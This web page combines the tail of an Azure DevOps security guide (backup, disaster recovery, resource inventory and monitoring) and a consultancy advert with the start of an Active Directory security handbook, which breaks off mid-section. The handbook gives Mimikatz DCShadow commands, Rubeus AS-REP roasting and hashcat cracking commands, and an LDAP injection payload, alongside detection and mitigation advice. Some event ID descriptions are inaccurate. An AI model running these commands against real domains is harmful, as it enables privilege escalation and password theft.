<p>By using Azure Backup and Azure Site Recovery to protect your data and applications, you can ensure business continuity, minimize downtime, and maintain a strong security posture. This proactive approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h3 id="regularly-test-your-data-recovery-processes-to-ensure-they-are-effective-and-up-to-date">Regularly test your data recovery processes to ensure they are effective and up to date</h3>
<p>Regularly testing your data recovery processes to ensure they are effective and up to date is crucial for maintaining business continuity and reducing the impact of data loss or corruption. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Develop a testing schedule</strong>: Establish a schedule for testing your data recovery processes, based on your organization&rsquo;s requirements, industry best practices, and regulatory guidelines. This schedule should take into account factors such as data change frequency, recovery point objectives (RPOs), and recovery time objectives (RTOs).</p>
</li>
<li>
<p><strong>Test various recovery scenarios</strong>: During testing, simulate different recovery scenarios to ensure that your processes can handle various types of incidents, including data loss, corruption, hardware failures, software failures, and natural disasters. This will help you identify and address potential issues or weaknesses in your recovery processes.</p>
</li>
<li>
<p><strong>Document test results</strong>: Document the results of your recovery tests, including any issues encountered, steps taken to resolve them, and lessons learned. This documentation can serve as a valuable reference for future testing and recovery efforts.</p>
</li>
<li>
<p><strong>Update recovery plans</strong>: Based on the results of your tests, update your recovery plans to address any identified issues or weaknesses. This may include revising recovery procedures, adding new recovery tools or resources, or updating your backup and recovery strategy.</p>
</li>
<li>
<p><strong>Train and educate your teams</strong>: Ensure that your development, operations, and security teams are aware of the importance of regularly testing data recovery processes and understand their roles and responsibilities in these tests. Provide training and resources to help them effectively manage and maintain your organization&rsquo;s data recovery processes.</p>
</li>
<li>
<p><strong>Review and update testing processes</strong>: Regularly review and update your testing processes to ensure they remain effective and aligned with your organization&rsquo;s evolving needs and requirements. This may include updating testing schedules, procedures, or tools, as well as incorporating new technologies or industry best practices.</p>
</li>
</ol>
<p>By regularly testing your data recovery processes, you can ensure they are effective and up to date, helping to maintain business continuity and minimize the impact of data loss or corruption. This proactive approach also supports a culture of continuous improvement and collaboration across teams and helps protect your organization&rsquo;s assets.</p>
<h3 id="establish-a-disaster-recovery-plan-to-minimize-downtime-and-data-loss-in-case-of-a-security-breach-or-system-failure">Establish a disaster recovery plan to minimize downtime and data loss in case of a security breach or system failure</h3>
<p>Establishing a disaster recovery plan is essential to minimize downtime and data loss in case of a security breach or system failure. Here&rsquo;s a more detailed explanation of this topic: 1. Identify critical systems and assets: Determine which systems, applications, and data are critical to your organization&rsquo;s operations and prioritize them in your disaster recovery plan. This will help you focus your efforts on the most important assets and minimize the impact of a security breach or system failure.</p>
<ol start="2">
<li>
<p><strong>Define recovery objectives</strong>: Establish recovery point objectives (RPOs) and recovery time objectives (RTOs) for your critical systems and assets. RPOs define the maximum acceptable amount of data loss, while RTOs determine the maximum acceptable downtime for restoring systems and data.</p>
</li>
<li>
<p><strong>Develop recovery strategies</strong>: Based on your recovery objectives, create strategies for recovering critical systems and data in case of a security breach or system failure. These strategies may include data backups, system replication, failover to alternate sites, or the use of redundant systems.</p>
</li>
<li>
<p><strong>Document recovery procedures</strong>: Clearly document the steps and procedures to be followed in case of a security breach or system failure. This documentation should be easily accessible and regularly updated to reflect changes in your systems, applications, or recovery strategies.</p>
</li>
<li>
<p><strong>Test and validate the plan</strong>: Regularly test your disaster recovery plan to ensure its effectiveness and validate that your recovery objectives can be met. This will help identify any weaknesses or gaps in your plan and provide valuable feedback for improvement.</p>
</li>
<li>
<p><strong>Train and educate your teams</strong>: Ensure that your development, operations, and security teams are aware of the disaster recovery plan and understand their roles and responsibilities in its execution. Provide training and resources to help them effectively manage and maintain the plan.</p>
</li>
<li>
<p><strong>Review and update the plan</strong>: Regularly review and update your disaster recovery plan to ensure it remains effective and aligned with your organization&rsquo;s evolving needs and requirements. This may include updating recovery objectives, strategies, or procedures, as well as incorporating new technologies or industry best practices.</p>
</li>
</ol>
<p>By establishing a disaster recovery plan, you can minimize downtime and data loss in case of a security breach or system failure, helping to maintain business continuity and protect your organization&rsquo;s assets. This proactive approach also supports a culture of continuous improvement and collaboration across teams.</p>
<h2 id="inventory-and-asset-management">Inventory and Asset Management</h2>
<h3 id="maintain-an-up-to-date-inventory-of-all-azure-devops-resources-including-repositories-pipelines-environments-and-tools">Maintain an up-to-date inventory of all Azure DevOps resources, including repositories, pipelines, environments, and tools</h3>
<p>Maintaining an up-to-date inventory of all Azure DevOps resources, including repositories, pipelines, environments, and tools, is crucial for managing and securing your organization&rsquo;s assets effectively. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Create a centralized inventory</strong>: Develop a centralized inventory system that lists all Azure DevOps resources, including repositories, pipelines, environments, and tools. This inventory should be easily accessible, searchable, and updatable, making it a valuable reference for your development, operations, and security teams.</p>
</li>
<li>
<p><strong>Include relevant metadata</strong>: For each resource in your inventory, include relevant metadata, such as owner, creation date, last modification date, and access permissions. This information can help you monitor and track changes to your resources, identify potential security risks, and enforce access control policies.</p>
</li>
<li>
<p><strong>Implement a tagging strategy</strong>: Use a consistent tagging strategy for your Azure DevOps resources to help you organize and manage them more effectively. Tags can be used to group resources by project, team, or environment, making it easier to apply security policies and manage access permissions.</p>
</li>
<li>
<p><strong>Automate inventory updates</strong>: Implement automation to keep your inventory up to date as resources are added, modified, or removed. This can be done using Azure DevOps APIs, custom scripts, or third-party tools that integrate with Azure DevOps.</p>
</li>
<li>
<p><strong>Regularly review and audit your inventory</strong>: Periodically review and audit your inventory to ensure its accuracy and completeness. This can help you identify resources that are no longer in use, enforce access control policies, and detect potential security risks.</p>
</li>
<li>
<p><strong>Integrate with other asset management systems</strong>: If your organization uses other asset management systems, consider integrating your Azure DevOps inventory with these systems to provide a more comprehensive view of your organization&rsquo;s assets and resources.</p>
</li>
</ol>
<p>By maintaining an up-to-date inventory of all Azure DevOps resources, you can better manage and secure your organization&rsquo;s assets, track changes, and enforce access control policies. This proactive approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h3 id="use-azure-resource-manager-arm-templates-to-manage-your-azure-resources-in-a-consistent-and-automated-manner">Use Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner</h3>
<p>Using Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner is an important best practice for managing infrastructure as code. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Standardize resource configurations</strong>: ARM templates enable you to define the desired configuration of your Azure resources in a JSON format. By using templates, you can standardize the configurations of your resources, ensuring that they are deployed and managed consistently across your organization.</p>
</li>
<li>
<p><strong>Improve collaboration and version control</strong>: ARM templates can be stored in a source control system, such as Git, allowing you to track changes, collaborate with team members, and manage version history. This can help you maintain a clear understanding of the evolution of your infrastructure and facilitate collaboration across development, operations, and security teams.</p>
</li>
<li>
<p><strong>Automate resource provisioning and updates</strong>: ARM templates enable you to automate the deployment and management of your Azure resources, reducing the potential for human error and inconsistencies. You can use Azure DevOps pipelines or other CI/CD tools to automatically deploy and update resources based on your templates.</p>
</li>
<li>
<p><strong>Simplify resource management</strong>: By using ARM templates, you can manage multiple resources as a single unit, called a resource group. This simplifies resource management, as you can deploy, update, and delete resources within a group collectively, and apply consistent policies and access control across the group.</p>
</li>
<li>
<p><strong>Validate and test templates</strong>: ARM templates allow you to validate and test your configurations before deploying them, helping you identify and resolve potential issues early in the development process. You can also use tools like the ARM Template Test Toolkit to perform additional validation and testing of your templates.</p>
</li>
<li>
<p><strong>Reuse and share templates</strong>: ARM templates can be modular and reusable, enabling you to share common configurations across projects and teams. This promotes consistency and reduces the effort required to maintain and update your infrastructure.</p>
</li>
</ol>
<p>By using Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner, you can improve collaboration, simplify resource management, and reduce the potential for human error and inconsistencies. This approach also supports a culture of continuous improvement and collaboration across teams, helping to protect your organization&rsquo;s assets and streamline operations.</p>
<h3 id="implement-tagging-strategies-to-categorize-your-azure-resources-based-on-project-team-or-other-relevant-attributes">Implement tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes</h3>
<p>Implementing tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes is an essential practice for effective resource management and organization. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Define a consistent tagging strategy</strong>: Develop a consistent and standardized tagging strategy that is easy to understand and follow across your organization. Define which tags should be used and how they should be applied to your Azure resources.</p>
</li>
<li>
<p><strong>Use meaningful and descriptive tags</strong>: Create meaningful and descriptive tags that accurately represent the purpose, owner, or other relevant attributes of your resources. This will make it easier for your team members to understand and manage your resources effectively.</p>
</li>
<li>
<p><strong>Enforce tag usage</strong>: Ensure that your team members are consistently applying tags to your Azure resources according to your defined strategy. You can use Azure Policy to enforce tagging requirements and automatically apply tags based on certain conditions.</p>
</li>
<li>
<p><strong>Monitor and audit tag usage</strong>: Regularly monitor and audit your tag usage to ensure that your resources are correctly categorized and that your tagging strategy is being followed. You can use tools like Azure Monitor and Azure Resource Graph to track tag usage and generate reports.</p>
</li>
<li>
<p><strong>Update and maintain your tagging strategy</strong>: Continuously review and update your tagging strategy to ensure that it remains relevant and effective as your organization and resource landscape evolve. Keep your team members informed of any changes to the strategy and provide them with guidance on how to apply tags correctly.</p>
</li>
<li>
<p><strong>Use tags for cost management and reporting</strong>: Tags can be used to group resources for cost management and reporting purposes, making it easier to allocate costs to projects, teams, or departments. Use Azure Cost Management to generate detailed reports based on your tags and gain insights into your resource consumption.</p>
</li>
</ol>
<p>By implementing tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes, you can improve resource management, organization, and cost allocation. This approach also promotes a culture of collaboration and shared responsibility across teams, helping to protect your organization&rsquo;s assets and streamline operations.</p>
<h3 id="continuously-monitor-your-inventory-and-resources-for-any-unauthorized-changes-or-access">Continuously monitor your inventory and resources for any unauthorized changes or access</h3>
<p>Continuously monitoring your inventory and resources for any unauthorized changes or access is crucial for maintaining the security and integrity of your Azure DevOps environment. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Use Azure Monitor</strong>: Utilize Azure Monitor to track and analyze resource usage, performance, and the overall health of your Azure resources. Set up alerts and notifications to be informed of any unusual activity or unauthorized changes.</p>
</li>
<li>
<p><strong>Review Azure DevOps audit logs</strong>: Regularly review the audit logs in Azure DevOps to track changes and access to your resources. These logs provide detailed information about user activities, such as repository access, pipeline changes, and environment modifications. You can also set up alerts for specific events or actions that you deem high risk.</p>
</li>
<li>
<p><strong>Implement Azure Security Center</strong>: Use Azure Security Center to monitor the security posture of your Azure resources and detect potential threats. Security Center can provide recommendations for improving your security configuration and alert you to suspicious activities.</p>
</li>
<li>
<p><strong>Configure Azure Active Directory (AD) monitoring</strong>: Monitor your Azure AD for unauthorized access or changes to user accounts and groups. Azure AD provides audit logs and sign-in logs that can help you track user activities and detect potential security issues.</p>
</li>
<li>
<p><strong>Set up intrusion detection and prevention systems</strong>: Implement intrusion detection and prevention systems (IDPS) to monitor network traffic for any unauthorized access or malicious activities. Azure offers several built-in IDPS solutions, such as Azure Firewall and Azure DDoS Protection.</p>
</li>
<li>
<p><strong>Regularly audit access control and permissions</strong>: Periodically review user accounts, access permissions, and role assignments to ensure that only authorized users have access to your resources. Revoke access for users who no longer require it, and ensure that the principle of least privilege is followed when granting permissions.</p>
</li>
<li>
<p><strong>Use automated tools for monitoring</strong>: Leverage automated tools, such as Azure Policy and Azure Automation, to continuously monitor your resources for unauthorized changes or access. You can create custom policies to enforce specific security requirements and automate remediation actions when needed.</p>
</li>
</ol>
<p>By continuously monitoring your inventory and resources for unauthorized changes or access, you can proactively detect potential security issues and respond quickly to mitigate risks. This approach helps maintain the security and integrity of your Azure DevOps environment and fosters a culture of shared responsibility and vigilance across your organization.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In conclusion, adopting a comprehensive security approach when using Azure DevOps is crucial for protecting your organization&rsquo;s assets and ensuring the integrity of your development and deployment processes. By following the guidelines outlined in this guide, you can effectively manage access control, authentication, network security, code security, Azure Key Vault usage, and regular auditing to maintain a secure environment.</p>
<p>Additionally, it&rsquo;s essential to continuously monitor your inventory and resources, implement secure baselines, use Azure Policy, maintain a robust backup and recovery strategy, and establish a disaster recovery plan. Keeping an up-to-date inventory, managing resources with Azure Resource Manager templates, and implementing tagging strategies further enhance your security posture.</p>
<p>However, maintaining a secure environment requires ongoing effort and expertise. That&rsquo;s where Secure Debug comes in. As a leading cybersecurity consultancy company, Secure Debug provides a range of services, including secure code audits, penetration testing, software development with a focus on cybersecurity, and cybersecurity training.</p>
<p>Secure Debug specializes in Application Security, Network and Infrastructure security services. With offerings such as secure code reviews, static/dynamic application analysis, IT health checks, penetration testing, and security assessments, Secure Debug enables you to gain a clear understanding of your company&rsquo;s security posture across your network, systems, and applications.</p>
<p>By partnering with Secure Debug, you can benefit from their extensive knowledge and experience in the cybersecurity field, ensuring that your Azure DevOps environment remains secure and compliant. Trust Secure Debug to help safeguard your organization&rsquo;s valuable assets, minimize potential risks, and maintain a secure development lifecycle.</p>
]]></content></item><item><title>The Complete Active Directory Security Handbook (Part-2)</title><link>https://blzr.sbs/posts/complete-active-directory-security-handbook-2/</link><pubDate>Sat, 20 Apr 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/complete-active-directory-security-handbook-2/</guid><description>Exploitation, Detection, and Mitigation Strategies</description><content type="html"><![CDATA[<h2 id="previous-part">Previous Part</h2>
<p><a href="https://blzr.sbs/posts/complete-active-directory-security-handbook-1/">The Complete Active Directory Security Handbook (Part-1)</a></p>
<h2 id="dcshadow-attack">DCShadow Attack</h2>
<p>A DC Shadow attack involves compromising the Active Directory environment by introducinga rogue domain controller (DC) into the network and then replicating changes from thelegitimate domain controllers to the rogue one. The attack consists of six steps.</p>
<p>A DC Shadow attack is a type of attack on an Active Directory environment where an attackerintroduces a rogue domain controller (DC) into the network and replicates changes fromlegitimate domain controllers to it. The attacker first creates changes in the environment,such as adding new objects or modifying existing ones, and then waits for the changes to bereplicated to the legitimate domain controllers. They then register service principal names(SPNs) for the rogue DC and register it in the configuration namespace, allowing it toauthenticate and communicate with other domain controllers. The attacker triggers replication of the changes they made to the rogue DC, which replicates them, allowing thechanges to persist in the environment. Finally, the attacker deletes the SPNs and the rogue DC, covering their tracks and leaving the environment in a compromised state. This type ofattack allows the attacker to persist and control the network by making changes that arereplicated to other domain controllers.</p>
<h3 id="tools-and-techniques-to-perform-a-dcshadow-attack">Tools and Techniques to Perform a DCShadow Attack</h3>
<p>Adversaries often use Mimikatz as a tool to perform the DCShadow attack technique.</p>
<h4 id="tool-1-mimikatz">Tool 1: Mimikatz</h4>
<p>Before we go any further, we need to make an assumption that the attacker has alreadycompromised the credentials of an Active Directory account with administrative permissions;let&rsquo;s assume the user is called Bob. The reason behind this assumption is that anadministrative account allows the adversary to make changes to the environment, such asadding a rogue domain controller and replicating changes from legitimate domain controllersto it. Without administrative access, the attacker would not be able to carry out the attack.</p>
<p>A typical DCShadow attack consists of two steps.</p>
<h5 id="step-1-elevating-to-system-privileges-and-making-changes-to-the-replicatedobject">Step 1: Elevating to SYSTEM privileges and making changes to the replicatedobject</h5>
<p>The first step involves starting the mimidrv service, which provides the necessary privilegesto play the role of a fake Domain Controller <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. These initial commands (&quot;!+&quot; and&quot;!ProcessToken&quot;) register and start a service called &ldquo;mimidrv&rdquo; and elevates the privileges toSYSTEM.</p>
<pre tabindex="0"><code>PS&gt; .\mimikatz.exe &#34;!+ !ProcessToken&#34;
</code></pre><p>Next, the adversary runs the following commands <sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<pre tabindex="0"><code>mimikatz # lsadump::dcshadow
/object:&#34;CN=Alice,OU=Employees,DC=sub,DC=domain,DC=com&#34; /attribute:SidHistory
/value:S-5-1-5-21-2049251289-867822404-1193079966
. . .
** Starting server **
 &gt; BindString[0]: ncacn_ip_tcp:&lt;LocationOfFakeServer&gt;[ThePortItListensTo]
&gt; RPC bind registered
&gt; RPC Server is waiting!
== Press Control+C to stop ==
</code></pre><p>This command is used to specify the fake server for a DCShadow attack.</p>
<p>The &ldquo;/object&rdquo; switch is used to specify the targeted user object, in this case the user “Alice”.The &ldquo;/attribute&rdquo; switch is used to specify the attribute that should be modified in the targetuser object, in this case &ldquo;SidHistory&rdquo;. Finally, the &ldquo;/value&rdquo; switch is used to specify the newvalue for the specified attribute, in this case</p>
<p>&ldquo;S-5-1-5-21-2049251289-867822404-1193079966&rdquo;.</p>
<p>In the context of a DCShadow attack, this command is used to specify the fake server andtarget the user object to modify its SidHistory attribute with the new specified value. Themodified attribute can be used to grant the attacker unauthorized access to the targetsystem and sensitive information.</p>
<h5 id="step-2-pushing-the-changes-back-to-a-real-domain-controller">Step 2: Pushing the changes back to a real domain controller</h5>
<p>In the second step, the adversary has to launch Mimikatz again as the “Bob” account, whichthey compromised in the first place. The adversary runs the following command:</p>
<pre tabindex="0"><code>mimikatz # lsadump::dcshadow /push
</code></pre><p>The command lsadump::dcshadow /push is expected to perform a DCShadow attack byregistering a fake domain controller (shadowDC) and pushing replication data to it. The aimof this attack is to modify the contents of Active Directory database by using the roguedomain controller. Once the replication data has been committed, the fake domain controlleris unregistered for cleanup purposes.</p>
<p>Once everything is done, the attacker logs out from the compromised account Bob, andlogin again to gain the updated access token with the modified SID history.</p>
<h3 id="detection-methods-for-the-shadowdc-attack">Detection Methods for the ShadowDC Attack</h3>
<p>The only definitive way to identify a DCShadow attack is through network monitoring of DRSUAPI Remote Procedure Call (RPC) requests for the DRSUAPI_REPLICA_ADD operationthat originate from systems that are not known to be domain controllers. Another method ofdetecting DCShadow is through analyzing Windows event logs, but this approach onlyprovides signs of the attack and not the exact changes made by the attacker.</p>
<p>In order to mimic a domain controller, DCShadow must make changes in Active Directory,such as adding a new NTDSDSA object and a global catalog <code>(GC/&lt;host&gt;)servicePrincipalName</code> to a computer object that is not a known domain controller. After theattack is completed, both of these items will be removed.</p>
<p>By examining events 5136 and 5141 in the Windows event log&rsquo;s Audit Directory Service Changes subcategory (<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>, <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>), you can look for evidence of the creation and deletion ofserver objects within sites.</p>
<p><strong>Event ID 5136</strong>- The Windows Filtering Platform has allowed a connection.</p>
<ul>
<li>Key Description Fields: Security ID, Account Name, Account Domain, Logon ID</li>
</ul>
<p><strong>Event ID 5141</strong> - A directory service object was deleted.</p>
<ul>
<li>Key Description Fields: Security ID, Account Name, Account Domain, Logon ID</li>
</ul>
<h3 id="mitigation-techniques-for-the-dcshadow-attack">Mitigation Techniques for the DCShadow Attack</h3>
<p>DCShadow attack is a type of advanced persistent threat (APT) that leverages features andprivileges of Active Directory (AD) to modify data in a malicious manner. As it is not possibleto fully eliminate the risk of this attack, it is important to adopt a multi-layered securityapproach to mitigate it. Here are some suggestions that can help you reduce the risk of asuccessful DCShadow attack:</p>
<h5 id="mitigation-technique-1-implementing-firewall-policies">Mitigation Technique 1: Implementing firewall policies</h5>
<p>Use host-based firewalls to limit lateral movement. Ensure that remote managementprotocols such as RDP are only accessible from a small set of approved and monitored systems.</p>
<h5 id="mitigation-technique-2-limit-user-privileges">Mitigation Technique 2: Limit user privileges</h5>
<p>It is essential to limit the number of users with administrative privileges across security boundaries. This helps to minimize the extent to which an attacker can escalate their privileges.</p>
<h5 id="mitigation-technique-3-control-access-to-computer-objects">Mitigation Technique 3: Control access to computer objects</h5>
<p>Constrain the number of users with permission to add computer objects to the ActiveDirectory. This helps to prevent unauthorized changes to the AD infrastructure.</p>
<h5 id="mitigation-technique-4-reduce-delegated-administrative-permissions">Mitigation Technique 4: Reduce delegated administrative permissions</h5>
<p>Adequately govern built-in privileged groups and delegated administrative permissions toreduce the risk of abuse.</p>
<h5 id="mitigation-technique-5-maintain-good-active-directory-hygiene">Mitigation Technique 5: Maintain good Active Directory hygiene</h5>
<p>Regularly removing unused sites and computer objects helps maintain good Active Directoryhygiene and reduces the attack surface.</p>
<p>By following these mitigation strategies, organizations can better protect themselves againstDCShadow attacks and other types of advanced persistent threats.</p>
<h2 id="as-rep-roasting">AS-REP Roasting</h2>
<p>The AS-REP Roasting technique enables attackers to acquire password hashes of useraccounts that have deactivated Kerberos pre-authentication. This method entailstransmitting an Authentication Server Request (AS-REQ) message to the domain controller(DC). If pre-authentication is disabled, the DC will return an AS-REP message containingencrypted data, including a segment encrypted with the user&rsquo;s password hash. Subsequently,the attacker can utilize this information to attempt cracking the user&rsquo;s password offline.</p>
<p>Under normal circumstances, with pre-authentication activated, the user initiates the Kerberos authentication procedure by dispatching an AS-REQ message to the DC. Thismessage is encrypted with a timestamp, which is further encrypted with the hash of theuser&rsquo;s password. If the DC successfully decrypts the timestamp using its stored record ofthe user&rsquo;s password hash, it will reply with an AS-REP message comprising a Ticket Granting Ticket (TGT), issued by the Key Distribution Center (KDC). The user then employs this TGT forfuture access requests.</p>
<h3 id="tools-and-techniques-to-perform-an-as-rep-roasting-attack">Tools and Techniques to Perform an AS-REP Roasting Attack</h3>
<p>Adversaries can use various third-party tools to perform an AS-REP Roasting Attack, such as Rubeus and Empire, Kerbrute and Impacket.</p>
<h4 id="tool-rubeus">Tool: Rubeus</h4>
<p>In order to find all accounts that do not require pre-authentication and extract their AS-REPhashes for offline cracking, an adversary runs the following command.</p>
<pre tabindex="0"><code>Rubeus.exe asreproast
</code></pre><p>To make the attack go a few steps forward, the attacker can leverage some parameters toextract the data in a format that can be cracked offline by, for instance, Hashcat:</p>
<pre tabindex="0"><code>Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\hashes.txt
</code></pre><p>Notice that the output hash credentials are written to the file called hashes.txt in the Tempdirectory. Next, the adversary leverages the Hashcat, specifying the hash-mode code for AS-REP hashes (18200), a hash file, and a dictionary to use to perform the brute-forcepassword guessing.</p>
<pre tabindex="0"><code>hashcat64.exe -m 18200 c:\Temp\hashes.txt dictionary.dict
</code></pre><p>To gain a better understanding of the AS-REP Roasting attack and how it is performed by using other tools, you can visit here <sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.</p>
<h3 id="detection-methods-for-the-as-rep-roasting-attack">Detection Methods for the AS-REP Roasting Attack</h3>
<p>Detection of AS-REP Roasting attacks is crucial in order to mitigate the risk of passwordtheft. One way to detect such attacks is to monitor for changes to the setting that controlswhether Kerberos preauthentication is enabled.
<strong>Event ID 4738</strong> - A user account was changed.</p>
<ul>
<li>Key Description Fields: Security ID, Account Name, Account Domain, Logon ID,Security ID, Account Name</li>
</ul>
<p>For instance, in the course of such an attack, Event ID 4738 is generated. This event signifiesa Kerberos authentication service ticket request and encompasses parameters such as Ticket Encryption Type (0x17), Ticket Options (0x40800010), and Service Name (krbtgt). Thepresence of these parameters in the event logs may indicate an ongoing AS-REP Roastingattack, as this event is produced when the attacker manipulates domain objects <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p><strong>Event ID 5136</strong> - A directory service object was modified.</p>
<ul>
<li>Key Description Fields: Security ID, Account Name, Account Domain, Logon ID, DN, GUID, Class, LDAP Display Name</li>
</ul>
<p>Another option is to monitor Event ID 5136, which provides information about changes made to user accounts within a Windows environment. By analyzing the logs from this event, it is possible to identify any user accounts that have had the setting for Kerberos pre-authentication changed.</p>
<h3 id="mitigation-techniques-for-the-as-rep-attack">Mitigation Techniques for the AS-REP Attack</h3>
<p>There are a couple of techniques that you can perform to mitigate an AS-REP attack.</p>
<h4 id="mitigation-technique-1-locating-all-user-accounts">Mitigation Technique 1: Locating all user accounts</h4>
<p>The most effective way to prevent AS-REP Roasting attacks is to locate all user accounts that are configured without requiring Kerberos pre-authentication and enable this setting. This can be done by using the following script <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>:</p>
<pre tabindex="0"><code>Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object{$_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True} | Select-Object&#39;SamAccountName&#39;,&#39;DoesNotRequirePreAuth&#39; | Sort-Object &#39;SamAccountName&#39;
</code></pre><p>The script uses the Get-ADUser cmdlet with a filter to find all user accounts, and it specifiesthe &lsquo;DoesNotRequirePreAuth&rsquo; property in the &lsquo;Properties&rsquo; parameter to retrieve thepre-authentication information for each account.</p>
<p>The output of the Get-ADUser cmdlet is then piped to the Where-Object cmdlet, which filtersthe results to only include accounts where &lsquo;DoesNotRequirePreAuth&rsquo; is equal to $True and&rsquo;Enabled&rsquo; is equal to $True. The filtered results are then passed to the Select-Object cmdlet,which selects the &lsquo;SamAccountName&rsquo; and &lsquo;DoesNotRequirePreAuth&rsquo; properties for eachaccount. Finally, the selected results are passed to the Sort-Object cmdlet, which sorts theresults by the &lsquo;SamAccountName&rsquo; property.</p>
<p>By enabling Kerberos pre-authentication for these user accounts, it ensures that the domaincontroller can decrypt the timestamp encrypted with the hash of the user&rsquo;s password. Thismakes it much more difficult for an attacker to gain access to the user&rsquo;s password hash andcarry out an offline cracking attack.</p>
<h4 id="mitigation-technique-2-implementing-a-strong-password-policy">Mitigation Technique 2: Implementing a strong password policy</h4>
<p>To guard against AS-REP Roasting attacks, it is advisable to implement strong password policies, especially for privileged accounts, that mandate the use of lengthy and complicated passwords. This makes it challenging for an attacker to crack the passwords, even if they are successfully stolen. Implementing fine-grained password policies is an effective first step toward ensuring password security.</p>
<h4 id="mitigation-technique-3-finding-out-the-active-directory-privileges">Mitigation Technique 3: Finding out the Active Directory privileges</h4>
<p>It&rsquo;s important to identify who has the authority to change the preauthentication setting, as they could temporarily disable it to steal the AS-REP hash and then re-enable it. The following query will show all individuals with access rights to accounts without preauthentication <sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>:</p>
<pre tabindex="0"><code>(Get-ACL &#34;AD:\$((Get-ADUser -Filter &#39;useraccountcontrol -band4194304&#39;).distinguishedname)&#34;).access
</code></pre><p>The code retrieves the access control list (ACL) of the security descriptor associated with aspecific user object in Active Directory (AD).</p>
<p>It first filters all user accounts in AD where the &ldquo;useraccountcontrol&rdquo; value has the 4194304decimal bit set (which corresponds to the flag UF_DONT_REQUIRE_PREAUTH in theuserAccountControl attribute) and retrieves their distinguished name. Then it retrieves the ACL of the security descriptor of the first user account in the result set using thedistinguished name and stores it in a variable. The last line of code retrieves the accessproperty of the ACL and displays it, which represents the access rights that are granted ordenied to the security principals specified in the ACL for the target user object.</p>
<h2 id="ldap-injection-attack">LDAP Injection Attack</h2>
<p>LDAP, an abbreviation for Lightweight Directory Access Control Protocol, is an open-sourceapplication protocol used for directory services authentication. In other words, LDAPbehaves like a cross-platform that maintains a communication language for applications thatcommunicate with other directory services, which store information about objects and sharethis information with other entities on the network. One thing to note is that LDAP and Active Directory are not the same; in fact, LDAP is the language that Microsoft Active Directory (AD)understands. So, if you ever need to access or authenticate yourself to any data stored onAD, you use LDAP to communicate with the target server.</p>
<p>An LDAP query, on the other hand, is the command that asks a particular directory servicefor the information you requested.</p>
<p>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content"><p>In default, you, as a non-privileged valid account in AD, can use LDAP queries to gain various critical information. For instance, if you want to list all users with “Password never expires option” enabled, then you run the following LDAP query:</p>
<pre tabindex="0"><code>(objectcategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536)
</code></pre></div>
    </aside>
LDAP injection is a type of vulnerability that allows an attacker to inject malicious code intoan LDAP query. This can result in unauthorized access to sensitive information stored in the LDAP directory or manipulation of the data stored in the directory. LDAP injection attacksoften occur due to a lack of proper input validation and sanitization on the client side,where user-controlled values are directly appended to the LDAP search filter. Attackers canexploit this vulnerability by injecting special characters into the query, which changes itsintended meaning and allows the attacker to bypass authentication controls or retrieve sensitive information.</p>
<h3 id="techniques-to-perform-an-ldap-injection-attack">Techniques to Perform an LDAP Injection Attack</h3>
<p>LDAP injection attacks come in many forms, and some of them are covered in this text. If you would like to delve deeper into the subject and learn about additional types of LDAP injection attacks that are not mentioned here, please follow this link <sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>.</p>
<h4 id="ldap-injection-type-1-privilege-escalation">LDAP Injection Type 1: Privilege escalation</h4>
<p>The issue of the Elevation of Privileges refers to the situation where low-security level userscan gain access to high-security level information. This is achieved through the use of aninjection in the form of a filter that the LDAP server processes.</p>
<p>For example, the attacker can target a directory with documents of low-security level, suchas &ldquo;Information/Reports&rdquo; and &ldquo;Information/UpcomingProjects&rdquo;.</p>
<p>The injection, in this case, would look like the following:</p>
<pre tabindex="0"><code>&#34;Information)(security_level=*))(&amp;(directory=documents&#34;
</code></pre><p>The filter resulting from this injection would be the following.</p>
<pre tabindex="0"><code>(&amp;(directory=Information)(security_level=*))(&amp;(directory=Information)(security_level=low))
